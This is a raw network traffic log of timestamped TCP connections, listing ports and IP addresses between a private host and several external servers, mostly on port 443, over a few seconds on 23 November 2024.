Nov 23, 2024 21:59:20.990272045 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.990340948 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:20.990446091 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.990859032 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:20.990871906 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.006906986 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.006934881 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.007034063 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.007225990 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.007249117 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.039807081 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.041630983 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.041642904 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041657925 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041800022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.041809082 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041822910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041955948 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.041964054 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041985989 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.041999102 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.042124987 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.042135000 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.042151928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.042176008 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.042186022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.042190075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.042212963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.042397022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045017004 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045025110 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.045047998 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.045118093 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.045125961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045151949 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.045166969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.045213938 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045207024 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.045265913 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045273066 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.045309067 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.045389891 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.045429945 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.045447111 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.045459986 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.045468092 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.048675060 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.048705101 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.048796892 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.049067020 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.049081087 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.049693108 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.049868107 CET	49729	443	192.168.2.6	2.16.158.81
Nov 23, 2024 21:59:21.049884081 CET	443	49729	2.16.158.81	192.168.2.6
Nov 23, 2024 21:59:21.064616919 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.064770937 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.064891100 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.064966917 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.064982891 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.064995050 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.065000057 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.067672014 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.067691088 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.067797899 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.067950964 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.067961931 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.084712982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.084742069 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.084804058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.084808111 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.084817886 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.084865093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.084866047 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.084965944 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.086158991 CET	49733	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.086177111 CET	443	49733	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.088530064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.088540077 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.090696096 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.091097116 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.091181993 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.091197968 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.091264009 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.091274023 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.091355085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.091485023 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.092758894 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.092902899 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.093031883 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.093245029 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.093254089 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.093264103 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.093267918 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.094693899 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.094795942 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.094803095 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.094919920 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.098443985 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.098598957 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.098606110 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.098695993 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.098707914 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.098736048 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.098810911 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.098881960 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.098901033 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.098998070 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.099008083 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.099148035 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.101524115 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.101538897 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.101975918 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.102185965 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.102194071 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.102296114 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.106165886 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.106246948 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.106252909 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.106364012 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.106709957 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.106728077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.106832027 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.106842041 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.106921911 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.109513044 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.109654903 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.109668016 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.109723091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.112801075 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.112901926 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.112909079 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.113019943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.114511967 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.114530087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.114622116 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.114631891 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.114880085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.117191076 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.117347956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.117355108 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.117444992 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.120441914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.120534897 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.120541096 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.120599985 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.121841908 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.121856928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.121937990 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.121995926 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.122015953 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.122030020 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.122030973 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.122183084 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.123228073 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.123238087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.123841047 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.123970032 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.123975992 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.124051094 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.128158092 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.128225088 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.128242016 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.128356934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.131984949 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.132091045 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.132097960 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.132153034 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.135396957 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.135509968 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.135519028 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.135584116 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.138582945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.138689041 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.138695955 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.138763905 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.142982006 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.143132925 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.143146038 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.143330097 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.146251917 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.146352053 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.146368980 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.146452904 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.149720907 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.149868011 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.149874926 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.149924994 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.229029894 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.229123116 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.229449034 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.229625940 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.229640961 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.229657888 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.229664087 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.233304977 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.233355999 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.233429909 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.233653069 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:21.233668089 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:21.305864096 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.305951118 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.305958033 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.306041956 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.309142113 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.309221983 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.309228897 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.309276104 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.312938929 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.313028097 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.313034058 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.313136101 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.316823959 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.316936016 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.316942930 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.316968918 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.317007065 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.317054033 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.372282982 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.372292995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.773736954 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.773771048 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.773933887 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.774180889 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.774197102 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.796981096 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.797044992 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:21.797432899 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.798202038 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:21.798222065 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:22.139751911 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.140028954 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.140038013 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.141314983 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.141407967 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.142728090 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.142800093 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.143018007 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.143024921 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.188288927 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.424436092 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.424710035 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.424738884 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.425765991 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.425849915 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.426266909 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.426331043 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.426500082 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.426506996 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.493005037 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.493479967 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.493501902 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.494543076 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.494613886 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.494992971 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.495053053 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.495286942 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.495292902 CET	443	49744	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.578643084 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.578799963 CET	49744	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.585890055 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.586337090 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.586364031 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.587430954 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.587512970 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.587923050 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.587986946 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.641117096 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.641135931 CET	443	49745	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.687989950 CET	49745	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.735234976 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.735796928 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.735817909 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.736249924 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.736257076 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.824600935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:22.824842930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:22.857129097 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.857564926 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.857582092 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.858067989 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.858073950 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.900852919 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.944008112 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.944031954 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.944611073 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.944617033 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.957834005 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.958252907 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.958272934 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.958744049 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:22.958750010 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:22.965673923 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.966510057 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:22.966567993 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.968274117 CET	49742	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:22.968281984 CET	443	49742	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.026107073 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.026519060 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.026551962 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.026994944 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.027000904 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.175836086 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.176023960 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.176098108 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.176192999 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.176192999 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.176218033 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.176229000 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.179025888 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.179079056 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.179143906 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.179673910 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.179691076 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.305433989 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.305666924 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.305785894 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.306454897 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.306469917 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.306653976 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.306660891 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.309812069 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.309845924 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.309883118 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.309900999 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.309914112 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.309930086 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.309977055 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.309994936 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.310036898 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.310527086 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.310564041 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.310637951 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.310964108 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:23.310977936 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:23.323673964 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:23.323729038 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:23.324085951 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.328188896 CET	443	49743	142.250.181.68	192.168.2.6
Nov 23, 2024 21:59:23.328238964 CET	49743	443	192.168.2.6	142.250.181.68
Nov 23, 2024 21:59:23.328247070 CET	443	49743	142.250.181.68	192.168.2.6
